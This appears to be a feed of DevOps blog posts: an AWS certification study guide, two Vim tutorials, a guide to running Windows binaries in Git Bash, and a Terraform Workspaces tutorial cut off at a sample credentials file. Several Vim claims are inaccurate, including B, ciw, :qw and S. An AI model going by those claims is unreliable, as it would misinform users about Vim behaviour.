I'll be making more of these posts, mainly around OWASP's top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and let me know if you have any questions or feedback at all.

How I studied for the AWS Solutions Architect Associate certification exam

Meir Gabay — Tue, 24 Mar 2020 08:20:26 +0000

In this blog post, I'm going to share how I studied, step-by-step, for the AWS Solutions Architect Associate certification exam.

And of course, due to COVID19, AWS is taking care of its learners - AWS Certification FAQs

DISCLAIMER

Make sure you cover all the topics that are in the official AWS Certified Solutions Architect Associate Exam Guide, read more about it here. I passed the exam in Sep-2019, and it might have changed a little bit since then.

Intro

It took me about 2-3 weeks to study
I studied for about 4-5 hours a day
I had minor experience in AWS with EC2 and S3 before I started studying
Skim through all the topics before you start studying. It took me time to realize the best way for me to study, but it doesn't mean that it's the best way for you
Content switching - I didn't want to learn one topic, and then learn a whole new topic, which will probably make me forget the previous topic. So I learned all of the topics bit by bit, which also helped me realize how different services can work together
Learning for this type of exam is difficult, so if you're having a hard time, don't worry about it, in your 2nd week of learning, it will get much easier
Learn with your mobile phone - I found it best to read most of the FAQs and official docs using my mobile phone in my spare time
Here's my Social Badge
If you wonder how the badge looks like in a Linkedin profile, you can check mine - linkedin.com/in/meirg

Getting Started

Create an AWS account
Create an IAM admin role, from now on, use only this role to perform any future actions in your AWS account
Register for AWS Certified Solutions Architect - Associate 2020 by Ryan Kroonenburg and Faye Ellis. Original price is 179 USD so wait for it to be on sale, you can get if for 14-18 USD
Complete the above course, including the quizzes
- The course duration is 14.5 hours (excluding quizzes and exams), so to save time, set the videos speed to
  - x1.25 - 11.6 hours
  - x1.5 - 9.7 hours
(Optional) If you have prior knowledge, take the Practice Exam 1 to understand your knowledge gaps, it's under Good Luck & What's Next

This Guide's Structure

Even though you've already completed the Udemy course, I'm still going to put references to specific lectures that you should watch again to strengthen your knowledge
Legend
- 📚 - Official AWS docs/tutorials
- 📘 - Non-official docs/tutorials
- 📺 - Watch lecture(s) in the Udemy course

VPC - Basics

Create a custom VPC - go through the following scenarios
1. 📚 Scenario 1: VPC with a Single Public Subnet
2. 📚 Scenario 2: VPC with Public and Private Subnets (NAT)
  - Don’t create a NAT Instance or a NAT Gateway, but make sure you understand how they work
  - 📚 Differences between NAT Instance and NAT Gateway

Route53

📺 Route53 > all lectures
1. Understand what are DNS records, notably: A, SOA, NS, CNAME, and MX
2. Get familiar with all available Routing policies
3. (Optional) Register your domain directly from the AWS Route53 console

VPC - Subnets

📘 Understanding IP Addresses, Subnets, and CIDR Notation for Networking
Practice on Subnets by using the CIDR calculator at www.cidr.xyz and create Subnets in your custom VPC
1. How many IP addresses are reserved by AWS?

VPC - EC2

📺 EC2 > all lectures
📚 Read more about IAM and EC2 instance roles

Practice

Create an IAM role and attach it to your EC2 instance
SSH to an EC2 instance and install AWS CLI on your instance
Run aws s3 ls on the instance and make sure that it works
Use the instance’s meta-data to figure out from the instance to which security groups it belongs to, hint: curl 169. …

By now you are familiar with

Launch and configure EC2 instances
Elastic Block Store (EBS)
Subnets, IP Addresses, CIDR and Subnetmask
Route Tables
Internet Gateway (igw)
Elastic IP (eip)
📚 NAT Instances (bastion) (💬 AMI name contains amzn-ami-vpc-nat)
📚 NAT Gateway (ngw)
📚 Security Group (sg) - this topic is very important, so make sure you do a lot of practice
📚 Network Access Control List (NACL)
📚 Identity Access Management (IAM) - Users, Groups, Roles, and Policies
Route53 and DNS records

VPC - Peering

Go over the following scenarios
1. 📚 Example: Sharing Public Subnets and Private Subnets
2. 📚 Example: Services Using AWS PrivateLink and VPC Peering

IMPORTANT! Don't skip the above topic; it may appear in the exam

VPC - ENI

📚 Elastic Network Interface (ENI)

Note: No need to practice on adding a secondary ENI to your instance, if you do, make sure you take a snapshot before doing it

VPC - Flow Logs

📚 VPC Flow Logs

Practice

📚 Publish Flow Logs to CloudWatch, and keep in mind that it takes up to 10 minutes to get the initial Log Stream, so be patient
(Optional) 📚 Install the Agent on a Running EC2 Linux Instance
1. 📚 SSH to your EC2 instance, install and configure AWS Logs
2. View the Log stream in CloudWatch Logs, what’s the name of the FlowGroup?
3. Stop the awslogs service and remove the FlowGroup from the file /var/awslogs/etc/awslogs.conf

Storage - S3

📚 Simple Storage Service (S3)
📺 S3 > Identity Access Management > from IAM 101 to Transfer Acceleration

Practice

Create a bucket in S3 and Publish Flow Logs
1. SSH to your EC2 instance
2. Copy one of the logs from your S3 bucket to the EC2 instance
3. Extract the log from gz and read it, cool, huh? :)
📚 Creating a Trail
1. 📚 Logging Amazon CloudWatch API Calls with AWS CloudTrail
2. Turn off the Logging in the trail
3. Disable AWS Cloudwatch alarm and delete VPC Flow Log - do it without removing the alarm, hint: possible only with aws-cli

VPC - Nat Gateway

📚 Nat Gateway

Practice

📚 Implement Scenario 2 and apply the NATSG: Recommended Rules
SSH to private instance and run: curl http://ifconfig.co, the returned IP should be the NAT Gateway Elastic IP (EIP)
Delete the Nat Gateway and release the Nat Gateway's EIP

VPC - Direct Connect and VPC End Points

📺 VPCs > Direct Connect
📺 VPCs > VPC End Points

Storage - Storage Gateway

📺 Identity Access Management & S3 > Storage Gateway
1. File Gateway
2. Stored Volumes and Cached Volumes
3. Tape Gateway

Storage - Snowball

📺 Snowball Overview and Snowball Lab
1. Snowball
2. Snowball Edge
Know the answer to - when should I use it?

EC2 - Placement Groups

📺 EC2 > EC2 Placement Groups
📚 Placement Groups
1. Clustered Placement Group
2. Partition Placement Group
3. Spread Placement Group

EC2 - Bootstrap Scripts and instance Meta Data

📺 EC2 > Using Boot Strap Scripts
📺 EC2 > EC2 Instance Meta Data

Databases

📺 Databases On AWS > all lectures
Understand the difference between Multi-AZ vs. Read Replicas
Get a deeper understanding of the following types of databases
1. DynamoDB
2. Redshift and Redshift Spectrum
3. Aurora
4. Elasticache
Understand how to increase the performance of each DB
Understand the basics of high availability architecture of DBs

VPC - Load Balancers

📺 HA Architecture > from Load Balancers Theory to Advanced Load Balancer Theory
Understand the differences between Classic/App/Net Load Balancers
Make sure you know the answer to - what are Health checks?

Theoretical - High Availability Architecture

📺 HA Architecture > from Autoscaling Groups Lab to HA Architecture Quiz
📚 Autoscaling Groups

Theoretical - Other Services

Get familiar with the following applications and services.

📺 Watch the lectures in Udemy
CloudFormation
Elastic Beanstalk - get familiar with
Lightsail
SQS - Super important, especially the short/long polling
MQ
SWF
SNS - Make sure you know the 📚 limits
Elastic Transcoder
API Gateway - Super important
Kinesis - What are the differences between
1. Kinesis Streams
2. Kinesis Firehose
3. Kinesis Analytics
Web Identity Federation and Cognito
1. User pools
2. Identity pool
CloudFront and Edge Locations - Super important
Macie
ElasticSearch - 📘 Use Case 1, 📘 Use Case 2
And any other services that appear in the Udemy course

Theoretical - Serverless

📺 Serverless > all lectures
Make sure you fully understand how the following services work
1. S3
2. Lambda Functions
3. DynamoDB
4. Aurora Serverless

Practice

Create a Lambda Function and invoke functions with HTTP requests by using API Gateway
Which triggers are available for Lambda Functions?
📚 Create an API Gateway and a Lambda

Storage - S3, EBS and EFS

Even though you read about S3, go over it again, it's a huge topic, and there are lots of questions about this topic

📺 S3 > from S3 101 to Transfer Acceleration
1. Different classes of S3 - Standard, IA, IA-Zone, Intelligent tiering
2. Glacier and Glacier Deep Archive
3. Security and encryption
  1. SSE - S3
  2. SSE - KMS
  3. SSE - C
4. Client-side encryption and upload to S3
5. Version control + MFA Delete
6. Lifecycle management
7. Cross-Region Replication
8. Transfer Acceleration - Uses CloudFront
9. 📚 S3 FAQ
📺 EC2 > from EBS 101 to AMI Types (EBS vs Instance Store) and Elastic File System

Practice

This exercise only covers KMS, since it's a difficult topic, but feel free to also practice the other topics

Create another IAM user, call it developer, grant this user full admin access (don’t switch to this user)
Create a key in KMS and allow only to your current admin user to use this key (developer can’t use it)
Create a Lambda Function from scratch and add random environment variables
Encrypt the environment variables with the key you’ve created earlier
Login with your developer user and view the Lambda Function, can you see the environment variables?

Theoretical - Well-Architected Framework

It's best to go over all the official AWS Docs, but since it's time-consuming, skim through the Well-Architected Framework whitepaper

Exams - Practice

Make sure you completed all the quizzes in the Udemy course
Take the practice exams Practice 1 and Practice 2 in the Udemy course
Register for AWS Certified Solutions Architect Associate Practice Exams, Original price is about 40 USD , but you can get it for sale at 14-18 USD
1. Take as many exams as you can (the more, the merrier)
2. Make sure you review the answers and explanations for each question, even if you answered correctly

Useful Resources

Skim through the following resources

AWS Solutions Architect Associate certification exam

By now you should be ready to take the exam!

💪 Take the AWS official practice exam (20 USD)
❓ If there's any topic that you're still not comfortable with, read the docs and FAQs. Feel free to comment to this blog post with questions!
🎉 Take the official AWS certification exam (150 USD)

Final words

Once you get the hang of it, it's fun to learn about AWS and use its services. I hope that this blog post helped you to design your learning path for this exam, and if it did, then 👏/💟/🐴 and share!

Unleash the power of Vim Macros in 4 minutes

Omer Hamerman — Tue, 28 Jan 2020 16:59:42 +0000

In my first Vim post I had a long discussion with one of the readers over macros. He just couldn't get his head around the idea. As I was doing my best to explain, I realized that specific examples don't always go all the way in demonstrating an idea.

This post will cover the what's and the why's as well as the practical way of doing things, but thanks to my fellow reader, it would also try to illustrate use-cases and situations; the how.

What

Vim's documentation calls this "Recording", which essentially is exactly what it does. Vim records a set of commands into a register, and then allows their execution and manipulation. A recorded macro can be executed once, or as many times as requested by prefixing it with the number of repetitions. It can be combined with other recorded macros by assigning multiple macros in a certain order into a new macro of its own. A macro can be read, edited, and written as well since it's just a representation of characters saved into a register in the memory.

Why

Macro recordings are a powerful tool to have under your belt as a Vim user. Developers tend to stumble upon repetitive work quite frequently. Knowing "how to handle" such repetitiveness is not only time saving but also enjoyable as you perfect your process. As a side effect, being able to "beat" the challenge keeps you in your flow of work and doesn't throw you into the occasional frustration that is usually part of doing something over and over fifty times.
You'll be thankful the next time each line starting with a | would require another | after the third space (a real scenario batteling markdown tables);

How

98% of all Vim macros ever recorded (I totally made the number up) required two steps: recording and execution. The rest involved actually reading the sequence and even changing it, let's follow them by descending order of importance:

Recording

A recording is started with q followed by a register. The most common and closest register is obviously "q" itself so, qq will start recording into register q, and Vim will show the mode recording @q.
Here's an example of recording the sequence required to complete the task in the paragraph above (each line starting with a | would require another | after the third space):

qqf nna| <ESC>q

Let's review each of 11 moves:

q - record
q - save the recording into register "q"
f - find
- space (followed by "find", space being the target)
n - go to the next result
n - go to next result (again, since we're going for the third space)
a - start inserting after the current cursor location
| - insert a pipe
- insert a space
<ESC> - back to normal mode
q - stop recording

We now have a sequence of operations ready to be executed on the next line starting with |. The last 5 words imply there's a more efficient way in regard to the number of keystrokes required. Let's create a sequence that would be able to repeat itself, meaning, it should end where the next execution should start. One way to do that is this:

/^|qqf nna| <ESC>nq

The additions here are a prefix of /^| which means: search (/) for all lines starting (^) with |, and a suffix of n just before the end of recording (q) meaning "jump to the next search result". The record now doesn't require any extra keystrokes in between executions other than the Vim "repeat" command (which we'll get to know in the next section), or providing a number of required repetitions to the execution command.

Executing

Execution of a recorded sequence is done with @ followed by the target register; @q would execute the contents of register "q". @@ is a shortcut, as it reads the last register's contents (2nd @) and runs it (1st @). Another useful combination is Vim's repetition command ., which comes in handy when executing a sequence, then moving to another location where it's required (assuming there was no better option of recording), then using . saves a keystroke and replaces the @<register>.

Reading

As with any register, contents are available with :reg (or :reg q in the specific example), and can be pasted from with "qp ("paste from register q").

Changing

After reading and pasting, the sequence can be manipulated in any way, and the sequence which is essentially a string of characters, can be saved back into the register for further use with: "q followed by where the text is.

Combining

Macros can be combined or "concatenated": if a certain sequence is recorded into register q and another to w, one may want to read them both, maybe concatenate the strings and resave them to one register so they can be run together. A better and quicker solution would be to start recording a new macro to a new register e as an example, and then simply execute both sequences in the desired order: "e@q@w - "record into register e, the sequence in register q followed by the one in register w".

When

The simple answer to when should anyone use a macro, is either when you can't find a better alternative e.g. a regex-based search and replace, a normal search (/) and repeat (.) combination, OR when it's the quicker way, as simple as that. Vim's concept of "least keystrokes to result" is something to live by and remember; the least amount of effort put into a given result the better. Better flow, better focus and overall satisfaction of the user, because at the end of the day that's what Vim is all about: productivity.

Thank you for reading this far!
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.

Vim A to Z - Literally

Omer Hamerman — Mon, 06 Jan 2020 15:14:11 +0000

TL;DR - ish: This post is a list of options and keystrokes in Vim, if this is the first time you're getting to know them, take your time, read some, memorize and go back once you feel comfortable with taking more in. Vim is overwhelming if you're just getting started, but it's even more rewarding!

Vim has been one of the best adoptions and projects I took upon learning in the last several years. I've written quite a bit about it; an introductory post after reading the awesome Practical Vim and some advanced features.
I've been also collecting a long list of tips and notes which are open sourced,
but recently I felt there's an educational aspect to Vim that is being missed; Vim has phonetic logic to every keystroke, by understanding them and the logic behind them, one may feel much easier making their way through the steep learning curve.

The following list has both original intentions of Vim authors, and some additions I made up myself to help myself remember what I was doing when I first started. How is it going to work - Vim has a special and different meaning to each character, its lower or upper case, and obviously the motions it is combined with. The list will go through the alphabet mentioning each case with useful and notable tips.

Conventions: Vim keystroke sequences are in code blocks and from time to time are followed by <CTRL> or <ESC>, these are marked differently as they are mapped differently in different keyboards. There's also significance to where a sequence begins; so, an example would include [start: x] marking the character when the cursor is at before the sequence.

So, without further ado, here's my Vim A --> Z list...

A - Append, Amend

Lower case a will transition you into insert mode to the character on the right of the current location.
Example: [start: W] at WRD ("W"): use this sequence: aO<ESC>, the cursor will end up back in normal mode having WORD written; a starts editing to the right of W, O is inserted, and <ESC> throws back to normal mode.

Upper case A would have the same effect but in the end of a line, so if my text is TWO WORD and I run AS.<ESC> I'll end up with TWO WORDS..
Tip: its counterpart is I; the same effect as A but at the beginning of the line.

B - Backwards, Beginning

Lower case b will move to the beginning of the current word, if the cursor is already there, it'll go to the previous word's first character.
B would do the same but to the beginning of the line (starting to get the idea?). I like to think about the capital versions of the Vim keystrokes and strong stokes.
Tip: its counterpart stroke is e (end) or w (next word's beginning).

C - Change

c is usually followed by a motion; c combined with the listed above b, would take you to insert mode changing everything from the current location to the beginning of the word.
Example: [start: R] in WORD, hit cbX, you end up with XRD.
Since any Vim motion is relevant here, it can be run with some powerful combinations; e.g. ciw means "change in the word", deletes the word while transitioning to normal mode.
C in the case would change the entire line to its end from the current location.
Tip: D would do the same (as we'll see in a moment) but without the insert mode part.

D - Delete

d would delete any motion that would follow, so diw would be "delete in the word" which is similar to ciw but the end result is still normal mode.
Useful combinations:

dip "delete in paragraph"
dgg - "delete from here up"
dG - "delete from here down"
dd "delete the current line" Tip: has a small brother x that has roughly the same effect but on a single character.

E - End

e: you guessed it - takes you to the end of a word or the End of a line.

F - Find!

A very useful motion; f would find the character it's combined with; e.g. fX would find the next X appearance in a sentence. Using F would have the same effect but in a backward search.
Tip #1: combined with ; (next result), "find" becomes a very powerful motion in Vim to quickly find a character instead of moving towards it in slower or more keystrokes. ; works both backward and forward - depends on the original motion (f vs F).
Tip #2: f can be combined with other motions, to name a useful one - marking a visual block until a certain point including the point, one would use vfx where x is the character in question. Let's put this into a more solid example; consider the line "Here sleeps the hairy brown fox" [start: H], and the goal is to visually mark "Here sleeps the hairy", a sequence can be vfy as in "Visually mark until char y including." Sub-tip: if the end result wanted is the same but without the last char, use t as in vty to "Mark to y".

We're done with f - let's take a look on a visual that shows some of it:

G - Go

This is actually my own interpretation, g goes places but with a bit different motions, Vim authors did not provide a significance to it on its own. Useful combinations: gg to go the very beginning to the file, while G would do the same but to the end.
Tip: Find a comprehensive list of all the options with :help *g*.

H - An arrow replacement

h is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where h is used for left.
Addition suggested by Giuseppe Caruso:
H will take the cursor to the top of the page.

I - Insert

i is one of the most useful keystrokes in Vim, maybe only second to <ESC>. i transitions from normal mode to insert mode. In the same way I does the same but at the beginning of the line.
Useful (and advanced) Tip:
Since I edits the beginning of the line which is not a usual requirement of a user, I find myself requiring a prefix to a block or a number of lines. Using visual block (which we'll cover below with V) one can mark a visual block with <CTRL>v then when a block is marked, use I to start editing. When the edit is done hit <ESC> to
go back to normal mode but with the entire block prefixed with the change.

Example: [start: L] hit <CTRL>vjjI*<SPACE><ESC>:



Line one
Line two
Line twenty-two

Can you guess the result?
Let's review the motions:

Start a visual block (<CTRL>-v)
Jump down twice (jj)
Insert an asterisk followed by a space at the beginning of the line
Go back to normal mode, and behold: MAGIC 😮



* Line one
* Line two
* Line twenty-two

J - An arrow replacement

j is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where j is used for down.
Tip #1: j happens to be a rare English letter, and the key on a keyboard happens to be quite far considering its extensive use in the switch back to normal mode,
there's a convention of mapping jj to <ESC> and use the already-in-read key to make the transition.
Here's the mapping for your convenience: imap jj <Esc>. As with any other change (especially in Vim) it takes a while to get used to, but it's very much worth the wait.
Tip #2 suggested by the reader @argon2008aiti:
J (capital) joins the line below after the cursor, this is useful when the cursor is standing at the end of a line and the line below should be joined to the same point. Usually, a user would go down a line, find the beginning of a sentence and delete backward to the earlier location.

K - An arrow replacement

K is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where k is used for up.

L - An arrow replacement

L is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where l is used for right. (An absurd thinking about the concept of this post, one would expect "l" to be used for left :+1)... :trollface:

M - Mark

Vim supports a powerful marking feature. Using Registers, it can save locations in a document with m like so: ma would save the current location to the register a, go back to it from each other location with 'a (a can be replaced here with any other character that can represent a register).
Relevant tip: if you did not remember to mark your location, which we normally don't in the flow of work, '' will always jump back to the previous location.
Addition suggested by Giuseppe Caruso:
M will move the cursor to the middle of the page (same as zz).

N - Next

n will go to the next result of a search. Since this is a circular motion (next after the last result is the first), n is used to go forward and N to go back.
Relevant info: to those who are not familiar, search in Vim is triggered with / followed by search text. Beyond the obvious use-case of searching an appearance or a specific result, this is a useful motion; even if you already know and see the location of your target. Moving a cursor sometimes takes more keystrokes than just searching for the word (and maybe combining it with an n).

O - Open line

Not certain whether this was, in fact, the author's intention, o does exactly that: it opens a new line below the cursor. Using O would do the same but above.

Here's something I did not yet figure to a level I'm satisfied with: o opens a line and transitions to insert mode, there are many times I'd like to open a new line below or above the cursor without adding new text, I've tried different mappings and combinations, but ended up back where I started with o followed by <ECS>. I'll use this stage to ask - had anyone found a better solution to this very specific yet annoying problem?

P - Paste, Paragraph

p's most common usage is pasting something that has been yanked or cut (remember Vim treats delete as cut too). pasting is done after the cursor while P does it before.
Tip: Registers come in handy once again; paste from a register by combining it before the motion: with text saved into the a register, "adiw would "delete in word and save to the a register". Use the register's content and paste it using "ap ("paste after the cursor from register a").

Q - Quit (and Reqord macros)

This bad spelled word is how I initially memorized where macros are starting their way :)
q is used to quit Vim, either with :q which is the basic, :qw to quit and write, q! to quit even if work hasn't been saved and more.
Having that said, as a motion, q is used to record a sequence of operations and repeat them, or as this is called in the Vim terminology "macros", more on macros (A-lot more) in my next and very soon blog post.
For the time being here's a quick tip: Recording is done into registers just like yanking and cutting; use qq to record into register q, and do run a sequence of commands. Another hit on q would stop the record making it available for execution with @q.

R - Replace

While r is as simple as replacing the current character with another (ra will replace the current location with a), R is a powerful one yet rare; R would transition into the odd replace mode, which is essentially an insert mode that overrides characters. When block-width matters or there's an order of alignment, this small feature comes in very handy.

S - Substitute

Being honest here - s is the one motion of this entire list I did not recall and as such, I have never used it. I find it quite unnecessary having c motion that transitions into insert mode with the combined motion. s would do the same while editing "on the spot": substituting the current character and editing from thereon. Useful when the end result is a substitution of a single character, yet this could be achieved with x&i or r&<ESC>.
Using S would substitute the current block while keeping you in insert mode.
Tip: I personally map <leader>ss to toggle Vim's spell checker, (yes it has one), here's the mapping:



nnoremap <leader>ss :setlocal spell spelllang=en_us<CR>

Another "s" map I have is ss to disable the highlight after searching a word resulting the highlights of all results, here it this map from my .vimrc:



nnoremap ss :noh<CR>

T - To

Mentioned previously in the F section, t means "do something until" (or to); vtx means "visually mark to x" (without x). Or dtf (this is just a random example...) would be "delete to char f".

U - Undo

As simple as that, u would undo changes. It's big brother U has a rather strange result - undoing changes done in the same line since the cursor last moved into it.

V - Visual

v is your way to mark chars / words / lines / blocks in Vim in order to do something with it; deleting, yanking or maybe indenting (>>).

W - Word

This motion was mentioned multiple times above as it comes hand in hand with end & back; w is a motion that jumps to the next beginning of a word.
W is quite interesting: while w is the current word, W is the "word block", which means it includes all characters between two spaces.
Example: "some-name,still-no-space" is not one word, but Vim would consider it one if addresses as W.
How is this useful? With motions of course: viW is "visually mark a block in the Word" (between the two closest spaces). Obviously, this can be combined with any other motion in Vim.

X - Cross out?

The one letter in the English alphabet which I couldn't have found an actual phonetic resolution; x would remove a single character under the cursor. (Remember: s would do the same resulting in insert mode, x would not).
X would be the same but backward.

Y - Yank

One of the most useful and basic motions in Vim - y copies text, by default into the unnamed register, ready to be pasted back in another location. Its big brother Y would copy the entire line with one stroke (I'm used to doing the same with yy).

Z - Welcome it! Last and pretty useless on its own: "Z"

While on it's own z has no effect (:help z), it's in charge of a useful Vim feature called "folding", where the user can wrap text and fold into collapse & extendable blocks, read about it some more in my Vim notebook.
ZZ is the quick way to save and exit - yes, your complicated and physically challenging :wq! is way too much (on Vim and on your body).

Additions suggested by Giuseppe Caruso:

zz places the line in the middle of the buffer
zt cursor line at top of the window
zb cursor line at bottom of the window

And there it is! The list is complete.
Not covered (but will be in a soon-to-be-published piece): all other symbols available in a keyboard, featuring the powerful . command, the macros' @@, the regex family of $^..., the small but powerful % and many many more.

How to use this list? After reading it, I suggest trying to go through the alphabet and memorizing the phonetic meaning of each one, maybe even turn them to flashcards! After understanding them, combining motions, and utilizing the least-key-strokes concept in Vim, becomes and an arsenal of tools rather than mental combat.

3rd-party binaries in Windows Git Bash

Meir Gabay — Wed, 16 Oct 2019 07:46:40 +0000

The Claim

"Git for Windows provides a BASH emulation used to run Git from the command line.

*NIX users should feel right at home, as the BASH emulation behaves just like the "git" command in LINUX and UNIX environments."
Git For Windows

"..Linux users should feel right at home.." - Running git commands is quite straight forward, but what about running 3rd-party Windows binaries, and make them available in Windows Git Bash?

To make sure we're on the same page - when I refer to binary files, I mean Windows executable (*.exe) files.

A possible solution to that is adding the binary file to PATH, but what if there's a simpler solution?

The Demand

Sometimes I work from home on my Desktop machine which has Windows installed on it.
I need the ability to run aws-vault in Git Bash terminal, while using Visual Studio Code.
Since aws-vault doesn't come out-of-the-box with Git Bash, I am seeking for a simple solution.

The How

I'm going to show you how we can supply the demand by presenting two examples.

1st Example: One Binary File

And of course, let's take aws-vault for this example, a binary file that doesn't have any dependencies on other data.

Download Windows release of the binary In our case, aws-vault/releases
Rename the binary file to a name that would make sense In our case, aws-vault-windows-386.exe to aws-vault.exe
Copy the file you renamed to C:\Program Files\Git\usr\bin\ In our case, aws-vault.exe to C:\Program Files\Git\usr\bin\
Open a new Git Bash terminal, and execute aws-vault

What just happened?

We've made the command aws-vault available because we copied the file aws-vault.exe to the /usr/bin/ folder. All binary files that reside in this folder are available in Windows Git Bash, from any current working directory.

And of course, you can do the same thing with Terraform. Download Terraform for Windows (I'm using 64bit). Extract terraform.exe from Zip file and copy to C:\Program Files\Git\usr\bin\.
Voila! You can now use terraform in Git Bash.
As long as you run Terraform in Git Bash, there's no need to add anything to PATH, since we're using Git Bash /usr/bin executables instead of using Windows's environment variables.

2nd Example: Library of binaries

It's going to be a bit trickier, but once you truly understand how it works, you'll be able to implement this method with any library of binaries.

Let's take apache2 for this example. First of all, we need to Google for Apache's Windows release Clicking the first search result got me here Apache for Windows

Important! I chose to download ApacheHaus 2.4.41 x64, no need to install Bitnami WAMP Stack or WampServer, we only need the binaries. Another alternative would be Apache Lounge

And now for the recipe

Extract zip file to a folder, give the folder a meaningful name
- In our case, httpd-2.4.41-o102s-x64-vc14-r2.zip to apache2
Copy the folder to C:\Program Files\Git\usr\lib\
- In our case, C:\Program Files\Git\usr\lib\apache2
Apply required configuration (if necessary), and test the execution of the relevant binary file
- In our case, run Notepad/Notepad++ in elevated mode (Run as Administrator)
- Edit the file C:\Program Files\Git\usr\lib\apache2\conf\httpd.conf
- Replace Define SRVROOT "/Apache24" With Define SRVROOT "C:\Program Files\Git\usr\lib\apache2" If you wonder how I know that - Stackoverflow answer
- The file we need to execute is C:\Program Files\Git\usr\lib\apache2\bin\httpd.exe Execute in Git Bash (must be with elevated permissions):
```
   $ /usr/lib/apache2/bin/httpd.exe
```
If all goes according to plan (fingers crossed), Windows Firewall will prompt to Allow Access, and then the Apache server will start running. To verify that it works, open your browser and navigate to localhost
To shutdown Apache server, click on the Git Bash window, hit ESC and then CTRL+C
Create a script in /usr/bin/ that will execute the relevant binary file (sort of a shortcut)
- In our case, execute in Git Bash:
```
 $ echo "/usr/lib/apache2/bin/httpd.exe" > apache2
```
Now each time that we execute apache2, it will run httpd.exe
Execute the script to make sure everything works as expected
- In our case, execute in Git Bash
```
  $ apache2
```
Apache is up and running
To shutdown Apache server, click on the Git Bash window, hit ESC and then CTRL+C

Tips & Tricks

Symlinks doesn't work well in Git Bash, so avoid using them. Instead, use the methods described above
Avoid using this method with binary folders that have multi-configuration steps. Instead, use Windows Subsystem for Linux or run a Virtual Machine with Linux installed, for example Oracle VirtualBox for Linux Hosts
Create a shortcut to Git Bash as an administrator; it's especially useful if you use Git Bash in Visual Studio Code.
Here's how you can
do it in 6 clicks

Mouse Button Color

Right Yellow

Left Green

Mouse Button	Color
Right	Yellow
Left	Green

To run Apache in the background (or any other process), add an ampersand (&) after the command

$ apache2 &
[1] 2420 # <-- process parent ID (PPID), don't kill that

Shutdown apache2 process

$ ps  # report a snapshot of the current processes
         PID    PPID    PGID     WINPID   TTY         UID    STIME COMMAND
20652       1   20652      20652  cons1     197609 18:59:21 /usr/bin/bash
 7496       1    7496       7496  cons0     197609 18:59:20 /usr/bin/bash
19852   20652   19852      19852  cons1     197609 19:05:46 /usr/bin/bash
 7132       1    7132       7132  ?         197609 18:56:36 /usr/bin/ssh-agent
 5816   20652    5816       8208  cons1     197609 19:05:49 /usr/bin/ps
11520   19852   19852      10000  cons1     197609 19:05:46 /usr/lib/apache2/bin/httpd
$ kill 19852  # <-- process id (PID)
[1]+  Terminated              apache2

Now it really feels like home

Did you like this tutorial? Clap/heart/unicorn and share it with your friends and colleagues.

Terraform Workspaces and Remote State

Meir Gabay — Sun, 06 Oct 2019 09:09:19 +0000

As promised in my last article, Terraform AWS - Dynamic Subnets, today you're going to learn how to manage Workspaces in Terraform, which are simply used for segregating your developing environments (dev, qa, stage, prod) while sharing the same infrastructure between them. We will also take advantage of the free Terraform Cloud service to store the state file (tfstate) remotely.

Objectives

Share the same infrastructure as code (IaC) in multiple environments (Workspaces)
Store the tfstate file remotely to allow colleagues to manage the infrastructure you're working on

Knowledge and assumptions

You read my Terraform AWS - Dynamic Subnets tutorial which covers most of the Terraform functions that I'll use in this tutorial
You know how to use AWS named profiles
Your infrastructure's repository is in one of the following: GitHub, GitLab, or Bitbucket. The repository I'll be using is in Github
I'll create a single S3 bucket resource. We will be able to create this resource in each environment just by switching Workspaces; we'll get to that

Setup

Create Workspaces

Create a free account in Terraform Cloud
Create a new Organization; I've created tutorials organization
Create a new Workspace and connect it to the VCS provider. Select Only select repositories and select the relevant repository, in my case, it's tf-tutorial-workspaces
Click the repository's name to continue
Workspace name should be the name of the environment you're working on, in my case tf-tutorial-workspaces-development
(Optional) Configure Workspace Advanced Options - insert VCS branch if relevant. I'll be using the master branch
Click Create workspace!
Repeat steps 3 to 7, in my case: tf-tutorial-workspaces-qa, tf-tutorial-workspaces-staging, tf-tutorial-workspaces-production
For each Workspace that you've created, click Workspaces --> click Workspace name --> Settings --> General --> Execution Mode: Local

Important: The default Execution Mode for each Workspace is Remote, which is the best practice for executing a Terraform plan. Unfortunately, there's a bug, and Remote execution mode fails to work with the variable terraform.workspace.
Make sure you set Execution Mode to Local until this bug is fixed, you can track it here, issue 22802.

Workspaces page should look something like this:

Now it's time to generate a token that will allow us to use the Workspaces we've created.

Terraform Cloud Tokens

There are two types of tokens that we're going to use, the first one is Team Token, which we will use in our automation processes and CI/CD pipeline.
The second token is User Token, and we will use it for planning/applying infrastructure manually, so it's usually good for planning and testing.
In this tutorial, we'll create both tokens.

Note: In case you're concerned about Two-Factor-Authentication, it will be ignored when you use Tokens as an authentication method, so keep that in mind.

Team Token

Create the file .terraformrc-team in your project's directory, with Bash it's touch /.terraformrc-team
Generate a token in Terraform Cloud; click on Settings --> Teams --> Create an authentication token
Edit the file /.terraformrc-team, with Bash it's: vim /.terraformrc-team then hit I for INSERT mode The file should look like this:

credentials "app.terraform.io" {
   token = "Your.generated.team.token.xctOeIoLtmjydg.jCCpJ6GKjCCpJe"
}

Vim: To save the file in vim, hit ESC, type: :x and hit ENTER. To make sure the file was correctly saved, execute cat /.terraformrc, the output should look like the above example. Here's an excellent vim-notebook. And if you're asking yourself why to use vim, then read Vim: from foe to friend in 9 minutes

User Token

Create the file .terraformrc-user in your project's directory, with Bash it's touch /.terraformrc-user
Generate a token in Terraform Cloud; click on your profile picture --> User Settings --> Tokens --> Generate token
Edit the file /.terraformrc-user, with Bash it's: vim /.terraformrc-user then hit I for INSERT mode The file should look like this:

credentials "app.terraform.io" {
   token = "Your.generated.user.token.xctOeIoLtmjydg.jCCpJ6GKjCCpJe"
}

Setting up AWS named profiles

To be able to apply the changes, we'll create a named profile for each environment (Workspace).

Note: Terraform developers decided to use the word Workspace instead of Environment due to the overuse of this word, see here. Right choice (not kidding).

The credentials and config file should look like this:
~/.aws/credentials

[tf-tutorial-workspaces-development]
aws_access_key_id = ACCESS_KEY_FOR_DEVELOPMENT
aws_secret_access_key = ZKBZ6_rsRFJx+bU2#=jY]w%u_e!Xrau?9fc!}:}c

